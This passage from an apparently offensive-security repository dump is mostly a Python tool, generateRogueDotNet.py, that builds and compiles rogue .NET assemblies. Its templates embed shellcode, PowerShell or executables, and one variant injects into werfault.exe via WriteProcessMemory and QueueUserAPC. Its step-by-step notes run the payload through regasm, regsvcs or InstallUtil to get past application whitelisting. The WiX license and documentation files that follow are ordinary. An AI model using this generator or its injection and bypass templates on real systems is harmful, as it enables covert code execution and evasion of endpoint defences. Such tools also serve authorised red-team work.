394 | public IntPtr hThread;
395 | public uint dwProcessId;
396 | public uint dwThreadId;
397 | }
398 |
399 | public struct STARTUPINFO
400 | {
401 | public uint cb;
402 | public string lpReserved;
403 | public string lpDesktop;
404 | public string lpTitle;
405 | public uint dwX;
406 | public uint dwY;
407 | public uint dwXSize;
408 | public uint dwYSize;
409 | public uint dwXCountChars;
410 | public uint dwYCountChars;
411 | public uint dwFillAttribute;
412 | public uint dwFlags;
413 | public short wShowWindow;
414 | public short cbReserved2;
415 | public IntPtr lpReserved2;
416 | public IntPtr hStdInput;
417 | public IntPtr hStdOutput;
418 | public IntPtr hStdError;
419 | }
420 |
421 | [Flags]
422 | public enum ThreadAccess : int
423 | {
424 | TERMINATE = (0x0001) ,
425 | SUSPEND_RESUME = (0x0002) ,
426 | GET_CONTEXT = (0x0008) ,
427 | SET_CONTEXT = (0x0010) ,
428 | SET_INFORMATION = (0x0020) ,
429 | QUERY_INFORMATION = (0x0040) ,
430 | SET_THREAD_TOKEN = (0x0080) ,
431 | IMPERSONATE = (0x0100) ,
432 | DIRECT_IMPERSONATION = (0x0200)
433 | }
434 |
435 | [DllImport("kernel32.dll", SetLastError = true)]
436 | public static extern IntPtr OpenThread(ThreadAccess dwDesiredAccess, bool bInheritHandle,
437 | int dwThreadId);
438 |
439 | [DllImport("kernel32.dll",SetLastError = true)]
440 | public static extern bool WriteProcessMemory(
441 | IntPtr hProcess,
442 | IntPtr lpBaseAddress,
443 | byte[] lpBuffer,
444 | int nSize,
445 | out IntPtr lpNumberOfBytesWritten);
446 |
447 | [DllImport("kernel32.dll")]
448 | public static extern IntPtr QueueUserAPC(IntPtr pfnAPC, IntPtr hThread, IntPtr dwData);
449 |
450 | [DllImport("kernel32")]
451 | public static extern IntPtr VirtualAlloc(UInt32 lpStartAddr,
452 | Int32 size, UInt32 flAllocationType, UInt32 flProtect);
453 |
454 | [DllImport("kernel32.dll", SetLastError = true )]
455 | public static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress,
456 | Int32 dwSize, UInt32 flAllocationType, UInt32 flProtect);
457 |
458 | [DllImport("kernel32.dll", SetLastError = true)]
459 | public static extern IntPtr OpenProcess(
460 | ProcessAccessFlags processAccess,
461 | bool bInheritHandle,
462 | int processId
463 | );
464 |
465 | [DllImport("kernel32.dll")]
466 | public static extern bool CreateProcess(string lpApplicationName, string lpCommandLine, IntPtr lpProcessAttributes, IntPtr lpThreadAttributes,
467 | bool bInheritHandles, ProcessCreationFlags dwCreationFlags, IntPtr lpEnvironment,
468 | string lpCurrentDirectory, ref STARTUPINFO lpStartupInfo, out PROCESS_INFORMATION lpProcessInformation);
469 |
470 | [DllImport("kernel32.dll")]
471 | public static extern uint ResumeThread(IntPtr hThread);
472 |
473 | [DllImport("kernel32.dll")]
474 | public static extern uint SuspendThread(IntPtr hThread);
475 |
476 | [DllImport("kernel32.dll")]
477 | public static extern bool VirtualProtectEx(IntPtr hProcess, IntPtr lpAddress,
478 | int dwSize, uint flNewProtect, out uint lpflOldProtect);
479 |
480 | ''').safe_substitute(
481 | decompressionFuncs=decompressionFuncs,
482 | templateName=templateName,
483 | payloadCode=payloadCode,
484 | targetProcess=targetProcess
485 | )
486 |
487 | launchCode = shellcodeLoader
488 |
489 | elif _type not in ['exec', 'run-command']:
490 | powershellLaunchCode = string.Template('''
491 | $decompressionFuncs
492 |
493 | public static bool Execute() {
494 |
495 | string shellcode = "";
496 | $payloadCode
497 | byte[] payload = DecompressString(shellcode);
498 | string decoded = System.Text.Encoding.UTF8.GetString(payload);
499 |
500 | Runspace runspace = RunspaceFactory.CreateRunspace();
501 | runspace.Open();
502 |
503 | Pipeline pipeline = runspace.CreatePipeline();
504 | pipeline.Commands.AddScript(decoded);
505 | pipeline.Invoke();
506 |
507 | runspace.Close();
508 | return true;
509 | }
510 |
511 | ''').safe_substitute(
512 | decompressionFuncs=decompressionFuncs,
513 | payload2=base64.b64encode(payload.encode()).decode()
514 | )
515 |
516 | launchCode = powershellLaunchCode
517 |
518 | namespaceStart = 'namespace ' + namespaceName + ' {'
519 | namespaceStop = '}'
520 |
521 | if dontUseNamespace:
522 | namespaceStart = namespaceStop = ''
523 |
524 | assemblyAdditions1 = '''
525 |
526 | /*
527 | Author: Casey Smith, Twitter: @subTee
528 | Customized by: Mariusz B. / mgeeky,
529 | License: BSD 3-Clause
530 |
531 | Step 1: Create Your Strong Name Key -> key.snk
532 |
533 | $key = 'BwIAAAAkAABSU0EyAAQAAAEAAQBhXtvkSeH85E31z64cAX+X2PWGc6DHP9VaoD13CljtYau9SesUzKVLJdHphY5ppg5clHIGaL7nZbp6qukLH0lLEq/vW979GWzVAgSZaGVCFpuk6p1y69cSr3STlzljJrY76JIjeS4+RhbdWHp99y8QhwRllOC0qu/WxZaffHS2te/PKzIiTuFfcP46qxQoLR8s3QZhAJBnn9TGJkbix8MTgEt7hD1DC2hXv7dKaC531ZWqGXB54OnuvFbD5P2t+vyvZuHNmAy3pX0BDXqwEfoZZ+hiIk1YUDSNOE79zwnpVP1+BN0PK5QCPCS+6zujfRlQpJ+nfHLLicweJ9uT7OG3g/P+JpXGN0/+Hitolufo7Ucjh+WvZAU//dzrGny5stQtTmLxdhZbOsNDJpsqnzwEUfL5+o8OhujBHDm/ZQ0361mVsSVWrmgDPKHGGRx+7FbdgpBEq3m15/4zzg343V9NBwt1+qZU+TSVPU0wRvkWiZRerjmDdehJIboWsx4V8aiWx8FPPngEmNz89tBAQ8zbIrJFfmtYnj1fFmkNu3lglOefcacyYEHPX/tqcBuBIg/cpcDHps/6SGCCciX3tufnEeDMAQjmLku8X4zHcgJx6FpVK7qeEuvyV0OGKvNor9b/WKQHIHjkzG+z6nWHMoMYV5VMTZ0jLM5aZQ6ypwmFZaNmtL6KDzKv8L1YN2TkKjXEoWulXNliBpelsSJyuICplrCTPGGSxPGihT3rpZ9tbLZUefrFnLNiHfVjNi53Yg4='
534 | $Content = [System.Convert]::FromBase64String($key)
535 | Set-Content key.snk -Value $Content -Encoding Byte
536 |
537 | Step 2: Compile source code:
538 | %WINDIR%\\Microsoft.NET\\Framework\\v4.0.30319\\csc.exe /r:System.EnterpriseServices.dll /target:library /out:rogue.dll /keyfile:key.snk program.cs
539 |
540 | Step 3: Execute your payload!
541 | %WINDIR%\\Microsoft.NET\\Framework\\v4.0.30319\\regsvcs.exe rogue.dll
542 | %WINDIR%\\Microsoft.NET\\Framework\\v4.0.30319\\regsvcs.exe /U rogue.dll
543 |
544 | %WINDIR%\\Microsoft.NET\\Framework\\v4.0.30319\\regasm.exe rogue.dll
545 | %WINDIR%\\Microsoft.NET\\Framework\\v4.0.30319\\regasm.exe /U rogue.dll
546 |
547 | %WINDIR%\\Microsoft.NET\\Framework\\v2.0.50727\\InstallUtil.exe /logfile= /logtoconsole=false /U rogue.dll
548 | # %WINDIR%\\Microsoft.NET\\Framework\\v4.0.30319\\InstallUtil.exe /logfile= /logtoconsole=false /U rogue.dll
549 | */
550 |
551 |
552 | '''
553 | assemblyAdditions2 = '''
554 |
555 | // This executes if registration is successful
556 | [ComRegisterFunction]
557 | public static void RegisterClass( string key )
558 | {
559 | Execute();
560 | }
561 |
562 | // This executes if registration fails
563 | [ComUnregisterFunction]
564 | public static void UnRegisterClass( string key )
565 | {
566 | Execute();
567 | }
568 |
569 | '''
570 |
571 | assemblyAdditions3 = string.Template('''
572 |
573 | [System.ComponentModel.RunInstaller(true)]
574 | public class ForInstallUtil : System.Configuration.Install.Installer
575 | {
576 | // This executes during InstallUtil /U invocation
577 | public override void Uninstall(System.Collections.IDictionary savedState)
578 | {
579 | $templateName.Execute();
580 | }
581 | }
582 |
583 | ''').safe_substitute(templateName=templateName)
584 |
585 | assemblyAdditions4 = ' : ServicedComponent'
586 |
587 | if _type != 'regasm':
588 | assemblyAdditions1 = assemblyAdditions2 = ''
589 | assemblyAdditions3 = assemblyAdditions4 = ''
590 |
591 | if _type == 'exec':
592 | launchCode = '''
593 |
594 | public static bool Execute() {
595 | string fullPath = @"";
596 |
597 | if(String.IsNullOrEmpty(fullPath)) {
598 | return false;
599 | }
600 |
601 | ProcessStartInfo psi = new ProcessStartInfo();
602 | psi.FileName = Path.GetFileName(fullPath);
603 | psi.WorkingDirectory = Path.GetDirectoryName(fullPath);
604 |
605 | string args = "";
606 | if(fullPath[0] == '"')
607 | {
608 | int pos = fullPath.IndexOf("\\"", 1);
609 | if(pos != -1)
610 | {
611 | psi.FileName = Path.GetFileName(fullPath.Substring(1, pos));
612 | psi.WorkingDirectory = Path.GetDirectoryName(fullPath.Substring(1, pos));
613 |
614 | if (pos + 2 < fullPath.Length && fullPath[pos + 2] == ' ')
615 | {
616 | args = fullPath.Substring(pos + 2);
617 | }
618 | }
619 | else
620 | {
621 | psi.FileName = Path.GetFileName(fullPath.Substring(1));
622 | psi.WorkingDirectory = Path.GetDirectoryName(fullPath.Substring(1));
623 | }
624 | }
625 | else if(fullPath.IndexOf(" ") == -1 && fullPath.IndexOf("\\\\") == -1)
626 | {
627 | Process.Start(fullPath);
628 | return true;
629 | }
630 | else
631 | {
632 | int pos = fullPath.IndexOf(" ");
633 | if (pos != -1)
634 | {
635 | psi.FileName = Path.GetFileName(fullPath.Substring(0, pos));
636 | psi.WorkingDirectory = Path.GetDirectoryName(fullPath.Substring(0, pos));
637 |
638 | if (pos + 1 < fullPath.Length)
639 | {
640 | args = fullPath.Substring(pos + 1);
641 | }
642 | }
643 | }
644 |
645 | psi.Arguments = args;
646 | Process.Start(psi);
647 |
648 | return true;
649 | }
650 |
651 | '''.replace('', payloadCode)
652 |
653 | elif _type == 'run-command':
654 | launchCode = '''
655 |
656 | public static bool Execute() {
657 | return true;
658 | }
659 |
660 | public static bool Execute(string command) {
661 | if(String.IsNullOrEmpty(command)) {
662 | return false;
663 | }
664 |
665 | string fullPath = command;
666 | ProcessStartInfo psi = new ProcessStartInfo();
667 | psi.FileName = Path.GetFileName(fullPath);
668 | psi.WorkingDirectory = Path.GetDirectoryName(fullPath);
669 |
670 | string args = "";
671 | if(fullPath[0] == '"')
672 | {
673 | int pos = fullPath.IndexOf("\\"", 1);
674 | if(pos != -1)
675 | {
676 | psi.FileName = Path.GetFileName(fullPath.Substring(1, pos));
677 | psi.WorkingDirectory = Path.GetDirectoryName(fullPath.Substring(1, pos));
678 |
679 | if (pos + 2 < fullPath.Length && fullPath[pos + 2] == ' ')
680 | {
681 | args = fullPath.Substring(pos + 2);
682 | }
683 | }
684 | else
685 | {
686 | psi.FileName = Path.GetFileName(fullPath.Substring(1));
687 | psi.WorkingDirectory = Path.GetDirectoryName(fullPath.Substring(1));
688 | }
689 | }
690 | else if(fullPath.IndexOf(" ") == -1 && fullPath.IndexOf("\\\\") == -1)
691 | {
692 | Process.Start(fullPath);
693 | return true;
694 | }
695 | else
696 | {
697 | int pos = fullPath.IndexOf(" ");
698 | if (pos != -1)
699 | {
700 | psi.FileName = Path.GetFileName(fullPath.Substring(0, pos));
701 | psi.WorkingDirectory = Path.GetDirectoryName(fullPath.Substring(0, pos));
702 |
703 | if (pos + 1 < fullPath.Length)
704 | {
705 | args = fullPath.Substring(pos + 1);
706 | }
707 | }
708 | }
709 |
710 | psi.Arguments = args;
711 | Process.Start(psi);
712 |
713 | return true;
714 | }
715 |
716 | '''.replace('', payloadCode)
717 |
718 | method = f'public void {methodName}(string command)'
719 | msiUsing = ''
720 | msiReturn = ''
721 |
722 | if globalOptions['msi_mode']:
723 | msiUsing = 'using Microsoft.Deployment.WindowsInstaller;'
724 | msiReturn = 'return ActionResult.Success;'
725 | method = f'''[CustomAction]
726 | public static ActionResult {methodName}(Session session)'''
727 |
728 | template = string.Template('''
729 |
730 | $assemblyAdditions1
731 |
732 | using System.Management.Automation;
733 | using System.Management.Automation.Runspaces;
734 | using Microsoft.Build.Framework;
735 | //using Microsoft.Build.Utilities;
736 | using System;
737 | using System.Diagnostics;
738 | using System.Reflection;
739 | using System.EnterpriseServices;
740 | using System.Runtime.InteropServices;
741 | using System.IO;
742 | using System.IO.Compression;
743 | using System.Text;
744 | $msiUsing
745 |
746 | $namespaceStart
747 |
748 | [ComVisible(true)]
749 | public class $templateName $assemblyAdditions4
750 | {
751 | public $templateName()
752 | {
753 | Execute();
754 | }
755 |
756 | $method
757 | {
758 | Execute($runCommand);
759 | $msiReturn
760 | }
761 |
762 | $assemblyAdditions2
763 |
764 | $launchCode
765 | }
766 |
767 | $assemblyAdditions3
768 |
769 | $namespaceStop
770 |
771 | ''').safe_substitute(
772 | namespaceStart=namespaceStart,
773 | launchCode=launchCode,
774 | templateName=templateName,
775 | assemblyAdditions1=assemblyAdditions1,
776 | assemblyAdditions2=assemblyAdditions2,
777 | assemblyAdditions3=assemblyAdditions3,
778 | assemblyAdditions4=assemblyAdditions4,
779 | runCommand='command' if _type == 'run-command' else '',
780 | method=method,
781 | msiReturn=msiReturn,
782 | msiUsing=msiUsing,
783 | namespaceStop=namespaceStop,
784 | )
785 |
786 | return template, templateName
787 |
788 |
789 | def detectFileIsExe(filePath, forced=False):
790 | try:
791 | pe = pefile.PE(filePath)
792 | return True
793 | except pefile.PEFormatError as e:
794 | return False
795 |
796 |
797 | def opts(argv):
798 | parser = argparse.ArgumentParser(prog=argv[0], usage='%(prog)s [options] ')
799 | parser.add_argument('inputFile', help='Input file to embedded into C# source code for --type regasm|plain. If --type exec was given, this parameter specifies command line to execute by the resulting assembly (environment variables will get expanded). May be either Powershell script, raw binary Shellcode or .NET Assembly (PE/EXE) file.')
800 |
801 | parser.add_argument('-t', '--type', choices=['regasm', 'plain', 'exec', 'run-command'], help='Specifies type of source code template to choose from while generating rogue .NET assembly. "regasm" - generates a template compatible with Regasm/Regsvcs/InstallUtil code execution primitives, "plain" - just a simple plain assembly with embedded shellcode/ps1/exe, "exec" - a simple shell command execution assembly which takes a command specified in "inputFile|cmdline" required parameter and embeds it hardcoded into the code, "run-command" exposes a method named --method which takes one string parameter being a command to run. Default: regasm')
802 | parser.add_argument('-c', '--compile', choices=['nocompile', 'x86', 'x64'], default='nocompile',
803 | help='Compile the source code using x86 or x64 csc.exe and generate output EXE/DLL file depending on --output extension. Default: nocompile - meaning the script will only produce .cs source code rather than compiled binary file.')
804 | parser.add_argument('-o', '--output', metavar='PATH', default='', type=str,
805 | help='Output path where to write generated script. Default: stdout')
806 | parser.add_argument('-s', '--namespace', metavar='NAME', default='ProgramNamespace', type=str,
807 | help='Specifies custom C# module namespace for the generated Task (for needs of shellcode loaders such as DotNetToJScript or Donut). Default: ProgramNamespace.')
808 | parser.add_argument('-n', '--module', metavar='NAME', default='Program', type=str,
809 | help='Specifies custom C# module name for the generated Task (for needs of shellcode loaders such as DotNetToJScript or Donut). Default: Program.')
810 | parser.add_argument('-m', '--method', metavar='NAME', default='Foo', type=str,
811 | help='Specifies method name that could be used by DotNetToJS and alike deserialization techniques to invoke our shellcode. Default: Foo')
812 | parser.add_argument('-e', '--exe', action='store_true',
813 | help='Specified input file is an Mono/.Net assembly PE/EXE. WARNING: Launching EXE is currently possible ONLY WITH MONO/.NET assembly EXE/DLL files, not an ordinary native PE/EXE!')
814 | parser.add_argument('-r', '--raw', action='store_true',
815 | help='Specified input file is a raw Shellcode to be injected in self process in a separate Thread (VirtualAlloc + CreateThread)')
816 | parser.add_argument('-M', '--msi-mode', action='store_true',
817 | help='Compiled .NET assembly is to be used with MSI installer')
818 | parser.add_argument('-C', '--extra-params', metavar='PARAMS', default='',
819 | help='Additional parameters to add to CSC compiler')
820 | parser.add_argument('--dotnet-ver', choices=['v2', 'v4'], default='v2',
821 | help='Use specific .NET version for compilation (with --compile given). Default: v2')
822 | parser.add_argument('--queue-apc', action='store_true',
823 | help='If --raw was specified, generate C# code template with CreateProcess + WriteProcessMemory + QueueUserAPC process injection technique instead of default CreateThread.')
824 | parser.add_argument('--target-process', metavar='PATH', default=r'%windir%\system32\werfault.exe',
825 | help=r'This option specifies target process path for remote process injection in --queue-apc technique. May use environment variables. May also contain command line for spawned process, example: --target-process "%%windir%%\system32\werfault.exe -l -u 1234"')
826 |
827 | args = parser.parse_args()
828 |
829 | if args.exe and args.raw:
830 | sys.stderr.write('[!] --exe and --raw options are mutually exclusive!\n')
831 | sys.exit(-1)
832 |
833 | args.target_process = args.target_process.replace("^%", '%')
834 |
835 | return args
836 |
837 | def main(argv):
838 | global globalOptions
839 |
840 | sys.stderr.write('''
841 | :: Rogue .NET Source Code Generation Utility
842 | Comes with a few hardcoded C# code templates and an easy wrapper around csc.exe compiler
843 | Mariusz B. / mgeeky,
844 |
845 | ''')
846 | if len(argv) < 2:
847 | print('Usage: ./generateRogueDotNet.py ')
848 | sys.exit(-1)
849 |
850 | args = opts(argv)
851 | globalOptions = vars(args)
852 |
853 | _format = 'powershell'
854 |
855 | if len(args.inputFile) > 0 and not os.path.isfile(args.inputFile) and args.type not in TYPES_NOT_NEEDING_INPUT_FILE:
856 | sys.stderr.write(f'[?] Input file does not exists: "{args.inputFile}"\n\n')
857 | return False
858 |
859 | if args.type not in TYPES_NOT_NEEDING_INPUT_FILE:
860 | if args.exe:
861 | if not detectFileIsExe(args.inputFile, args.exe):
862 | sys.stderr.write('[?] File not recognized as PE/EXE.\n\n')
863 | return False
864 |
865 | _format = 'exe'
866 | sys.stderr.write('[?] File recognized as PE/EXE.\n\n')
867 | try:
868 | with open(args.inputFile, 'rb') as f:
869 | payload = f.read()
870 | except OSError:
871 | sys.stderr.write('[!] Could not open input shellcode file. Possibly due to AV intervention?')
872 | sys.exit(1)
873 |
874 | elif args.raw:
875 | _format = 'raw'
876 | sys.stderr.write('[?] File specified as raw Shellcode.\n\n')
877 | try:
878 | with open(args.inputFile, 'rb') as f:
879 | payload = f.read()
880 | except OSError:
881 | sys.stderr.write('[!] Could not open input shellcode file. Possibly due to AV intervention?')
882 | sys.exit(1)
883 | else:
884 | sys.stderr.write('[?] File not recognized as PE/EXE.\n\n')
885 |
886 | if args.inputFile.endswith('.exe'):
887 | return False
888 |
889 | payload = getCompressedPayload(args.inputFile, _format != 'powershell')
890 | else:
891 | payload = args.inputFile
892 |
893 | output, templateName = getSourceFileContents(
894 | args.module,
895 | args.namespace,
896 | args.method,
897 | payload,
898 | _format,
899 | args.queue_apc,
900 | args.target_process,
901 | dontUseNamespace=False,
902 | _type=args.type
903 | )
904 |
905 | print(f'''Generated .NET assembly will expose:
906 |
907 | Namespace : {args.namespace}
908 | Classname : {args.module}
909 | Method name : {args.method}
910 | ''')
911 |
912 | management = ' /r:System.Management.Automation.dll /r:Microsoft.Build.Framework.dll'
913 | srcfile = ''
914 |
915 | if len(args.extra_params) > 0:
916 | management += args.extra_params
917 |
918 | if args.msi_mode:
919 | path = os.path.normpath(os.path.abspath(os.path.dirname(__file__)))
920 | management += f' /r:"{path}\\Microsoft.Deployment.WindowsInstaller.dll"'
921 |
922 | if args.compile != 'nocompile':
923 | if not args.output:
924 | print('[!] --output must be specified to compile file.')
925 | sys.exit(1)
926 |
927 | with tempfile.NamedTemporaryFile() as f:
928 | srcfile = f.name + '.cs'
929 |
930 | target = 'winexe'
931 | if args.output.lower().endswith('.dll'):
932 | target = 'library'
933 | else:
934 | output = output.replace('public ' + templateName + '()', 'static public void Main(String[] args)')
935 |
936 | with open(srcfile, 'w', encoding='utf8') as f:
937 | f.write(output)
938 |
939 | p = COMPILER_BASE.replace('', COMPILERS[args.dotnet_ver])
940 |
941 | if args.compile == 'x64':
942 | p = p.replace('', '64')
943 | else:
944 | p = p.replace('', '')
945 |
946 | if args.type == 'regasm':
947 | cmd = p + ' /o+ /r:System.EnterpriseServices.dll{} /target:{} /out:"{}" /keyfile:key.snk "{}"'.format(
948 | management, target, args.output, srcfile
949 | )
950 | else:
951 | cmd = p + ' /o+ /r:System.EnterpriseServices.dll{} /target:{} /out:"{}" "{}"'.format(
952 | management, target, args.output, srcfile
953 | )
954 |
955 | if os.path.isfile(args.output):
956 | os.remove(args.output)
957 |
958 | print('Compiling as .NET ' + COMPILERS[args.dotnet_ver] + ':\n\t' + cmd + '\n')
959 | out = shell(os.path.expandvars(cmd))
960 |
961 | try:
962 | print(out)
963 | except Exception as e:
964 | print('[!] Error - non printable output coming from csc.exe compiler. Ignoring it...')
965 |
966 | if os.path.isfile(args.output):
967 | print('[+] Success')
968 | else:
969 | if os.path.isfile(srcfile):
970 | os.remove(srcfile)
971 | return 1
972 |
973 | else:
974 | if len(args.output) > 0:
975 | with open(args.output, 'w', encoding='utf8') as f:
976 | f.write(output)
977 | else:
978 | print(output)
979 |
980 | commands = '''
981 |
982 | =====================================
983 | NEXT STEPS:
984 |
985 | Step 1: Create Your Strong Name Key -> key.snk (or use the one provided in this directory)
986 |
987 | $key = 'BwIAAAAkAABSU0EyAAQAAAEAAQBhXtvkSeH85E31z64cAX+X2PWGc6DHP9VaoD13CljtYau9SesUzKVLJdHphY5ppg5clHIGaL7nZbp6qukLH0lLEq/vW979GWzVAgSZaGVCFpuk6p1y69cSr3STlzljJrY76JIjeS4+RhbdWHp99y8QhwRllOC0qu/WxZaffHS2te/PKzIiTuFfcP46qxQoLR8s3QZhAJBnn9TGJkbix8MTgEt7hD1DC2hXv7dKaC531ZWqGXB54OnuvFbD5P2t+vyvZuHNmAy3pX0BDXqwEfoZZ+hiIk1YUDSNOE79zwnpVP1+BN0PK5QCPCS+6zujfRlQpJ+nfHLLicweJ9uT7OG3g/P+JpXGN0/+Hitolufo7Ucjh+WvZAU//dzrGny5stQtTmLxdhZbOsNDJpsqnzwEUfL5+o8OhujBHDm/ZQ0361mVsSVWrmgDPKHGGRx+7FbdgpBEq3m15/4zzg343V9NBwt1+qZU+TSVPU0wRvkWiZRerjmDdehJIboWsx4V8aiWx8FPPngEmNz89tBAQ8zbIrJFfmtYnj1fFmkNu3lglOefcacyYEHPX/tqcBuBIg/cpcDHps/6SGCCciX3tufnEeDMAQjmLku8X4zHcgJx6FpVK7qeEuvyV0OGKvNor9b/WKQHIHjkzG+z6nWHMoMYV5VMTZ0jLM5aZQ6ypwmFZaNmtL6KDzKv8L1YN2TkKjXEoWulXNliBpelsSJyuICplrCTPGGSxPGihT3rpZ9tbLZUefrFnLNiHfVjNi53Yg4='
988 | $Content = [System.Convert]::FromBase64String($key)
989 | Set-Content key.snk -Value $Content -Encoding Byte
990 |
991 | Step 2: Compile source code:
992 | %WINDIR%\\Microsoft.NET\\Framework\\v4.0.30319\\csc.exe /r:System.EnterpriseServices.dll{} /target:library /out:rogue.dll /keyfile:key.snk program.cs
993 |
994 | Step 3: Execute your payload!
995 | %WINDIR%\\Microsoft.NET\\Framework\\v4.0.30319\\regasm.exe rogue.dll
996 | %WINDIR%\\Microsoft.NET\\Framework\\v4.0.30319\\regasm.exe /U rogue.dll
997 |
998 | %WINDIR%\\Microsoft.NET\\Framework\\v4.0.30319\\regsvcs.exe rogue.dll
999 | %WINDIR%\\Microsoft.NET\\Framework\\v4.0.30319\\regsvcs.exe /U rogue.dll
1000 |
1001 | %WINDIR%\\Microsoft.NET\\Framework64\\v2.0.50727\\InstallUtil.exe /logfile= /logtoconsole=false /U rogue.dll
1002 | %WINDIR%\\Microsoft.NET\\Framework64\\v4.0.30319\\InstallUtil.exe /logfile= /logtoconsole=false /U rogue.dll
1003 | '''.format(management)
1004 |
1005 | if 'PROGRAMFILES(X86)' in os.environ:
1006 | commands = commands.replace('Framework\\', 'Framework64\\')
1007 |
1008 | if args.type == 'regasm':
1009 | sys.stderr.write(commands)
1010 | elif args.type == 'plain':
1011 |
1012 | sys.stderr.write('[?] Generated plain assembly\'s source code/executable.\n')
1013 | elif args.type in ['exec', 'run-command']:
1014 |
1015 | sys.stderr.write('[?] Generated command line executing assembly\'s source code/executable.\n')
1016 |
1017 | if os.path.isfile(srcfile):
1018 | os.remove(srcfile)
1019 |
1020 | if __name__ == '__main__':
1021 | main(sys.argv)
1022 |
--------------------------------------------------------------------------------
/tools/rogue-dot-net/key.snk:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/mgeeky/msi-shenanigans/1d5fdd57879f1553571a0e5a026f432c1317d410/tools/rogue-dot-net/key.snk
--------------------------------------------------------------------------------
/tools/wix/DTF.chm:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/mgeeky/msi-shenanigans/1d5fdd57879f1553571a0e5a026f432c1317d410/tools/wix/DTF.chm
--------------------------------------------------------------------------------
/tools/wix/LICENSE.TXT:
--------------------------------------------------------------------------------
1 | Copyright (c) .NET Foundation and contributors.
2 | This software is released under the Microsoft Reciprocal License (MS-RL) (the "License"); you may not use the software except in compliance with the License.
3 |
4 | The text of the Microsoft Reciprocal License (MS-RL) can be found online at:
5 | http://opensource.org/licenses/ms-rl
6 |
7 |
8 | Microsoft Reciprocal License (MS-RL)
9 |
10 | This license governs use of the accompanying software. If you use the software, you accept this license. If you do not accept the license, do not use the software.
11 |
12 | 1. Definitions
13 | The terms "reproduce," "reproduction," "derivative works," and "distribution" have the same meaning here as under U.S. copyright law.
14 | A "contribution" is the original software, or any additions or changes to the software.
15 | A "contributor" is any person that distributes its contribution under this license.
16 | "Licensed patents" are a contributor's patent claims that read directly on its contribution.
17 |
18 | 2. Grant of Rights
19 | (A) Copyright Grant- Subject to the terms of this license, including the license conditions and limitations in section 3, each contributor grants you a non-exclusive, worldwide, royalty-free copyright license to reproduce its contribution, prepare derivative works of its contribution, and distribute its contribution or any derivative works that you create.
20 | (B) Patent Grant- Subject to the terms of this license, including the license conditions and limitations in section 3, each contributor grants you a non-exclusive, worldwide, royalty-free license under its licensed patents to make, have made, use, sell, offer for sale, import, and/or otherwise dispose of its contribution in the software or derivative works of the contribution in the software.
21 |
22 | 3. Conditions and Limitations
23 | (A) Reciprocal Grants- For any file you distribute that contains code from the software (in source code or binary format), you must provide recipients the source code to that file along with a copy of this license, which license will govern that file. You may license other files that are entirely your own work and do not contain code from the software under any terms you choose.
24 | (B) No Trademark License- This license does not grant you rights to use any contributors' name, logo, or trademarks.
25 | (C) If you bring a patent claim against any contributor over patents that you claim are infringed by the software, your patent license from such contributor to the software ends automatically.
26 | (D) If you distribute any portion of the software, you must retain all copyright, patent, trademark, and attribution notices that are present in the software.
27 | (E) If you distribute any portion of the software in source code form, you may do so only under this license by including a complete copy of this license with your distribution. If you distribute any portion of the software in compiled or object code form, you may only do so under a license that complies with this license.
28 | (F) The software is licensed "as-is." You bear the risk of using it. The contributors give no express warranties, guarantees or conditions. You may have additional consumer rights under your local laws which this license cannot change. To the extent permitted under your local laws, the contributors exclude the implied warranties of merchantability, fitness for a particular purpose and non-infringement.
29 |
--------------------------------------------------------------------------------
/tools/wix/MakeSfxCA.exe:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/mgeeky/msi-shenanigans/1d5fdd57879f1553571a0e5a026f432c1317d410/tools/wix/MakeSfxCA.exe
--------------------------------------------------------------------------------
/tools/wix/MakeSfxCA.exe.config:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
8 |
9 |
10 |
11 |
--------------------------------------------------------------------------------
/tools/wix/Microsoft.Deployment.Compression.Cab.dll:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/mgeeky/msi-shenanigans/1d5fdd57879f1553571a0e5a026f432c1317d410/tools/wix/Microsoft.Deployment.Compression.Cab.dll
--------------------------------------------------------------------------------
/tools/wix/Microsoft.Deployment.Compression.Cab.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 | Microsoft.Deployment.Compression.Cab
5 |
6 |
7 |
8 |
9 | Disposes of resources allocated by the cabinet engine.
10 |
11 | If true, the method has been called directly or indirectly by a user's code,
12 | so managed and unmanaged resources will be disposed. If false, the method has been called by the
13 | runtime from inside the finalizer, and only unmanaged resources will be disposed.
14 |
15 |
16 |
17 | Engine capable of packing and unpacking archives in the cabinet format.
18 |
19 |
20 |
21 |
22 | Creates a new instance of the cabinet engine.
23 |
24 |
25 |
26 |
27 | Disposes of resources allocated by the cabinet engine.
28 |
29 | If true, the method has been called directly
30 | or indirectly by a user's code, so managed and unmanaged resources
31 | will be disposed. If false, the method has been called by the runtime
32 | from inside the finalizer, and only unmanaged resources will be
33 | disposed.
34 |
35 |
36 |
37 | Creates a cabinet or chain of cabinets.
38 |
39 | A context interface to handle opening
40 | and closing of cabinet and file streams.
41 | The paths of the files in the archive (not
42 | external file paths).
43 | The maximum number of bytes for one
44 | cabinet before the contents are chained to the next cabinet, or zero
45 | for unlimited cabinet size.
46 | The cabinet could not be
47 | created.
48 |
49 | The stream context implementation may provide a mapping from the
50 | file paths within the cabinet to the external file paths.
51 | Smaller folder sizes can make it more efficient to extract
52 | individual files out of large cabinet packages.
53 |
54 |
55 |
56 |
57 | Checks whether a Stream begins with a header that indicates
58 | it is a valid cabinet file.
59 |
60 | Stream for reading the cabinet file.
61 | True if the stream is a valid cabinet file
62 | (with no offset); false otherwise.
63 |
64 |
65 |
66 | Gets information about files in a cabinet or cabinet chain.
67 |
68 | A context interface to handle opening
69 | and closing of cabinet and file streams.
70 | A predicate that can determine
71 | which files to process, optional.
72 | Information about files in the cabinet stream.
73 | The cabinet provided
74 | by the stream context is not valid.
75 |
76 | The predicate takes an internal file
77 | path and returns true to include the file or false to exclude it.
78 |
79 |
80 |
81 |
82 | Extracts files from a cabinet or cabinet chain.
83 |
84 | A context interface to handle opening
85 | and closing of cabinet and file streams.
86 | An optional predicate that can determine
87 | which files to process.
88 | The cabinet provided
89 | by the stream context is not valid.
90 |
91 | The predicate takes an internal file
92 | path and returns true to include the file or false to exclude it.
93 |
94 |
95 |
96 |
97 | Disposes of resources allocated by the cabinet engine.
98 |
99 | If true, the method has been called directly or indirectly by a user's code,
100 | so managed and unmanaged resources will be disposed. If false, the method has been called by the
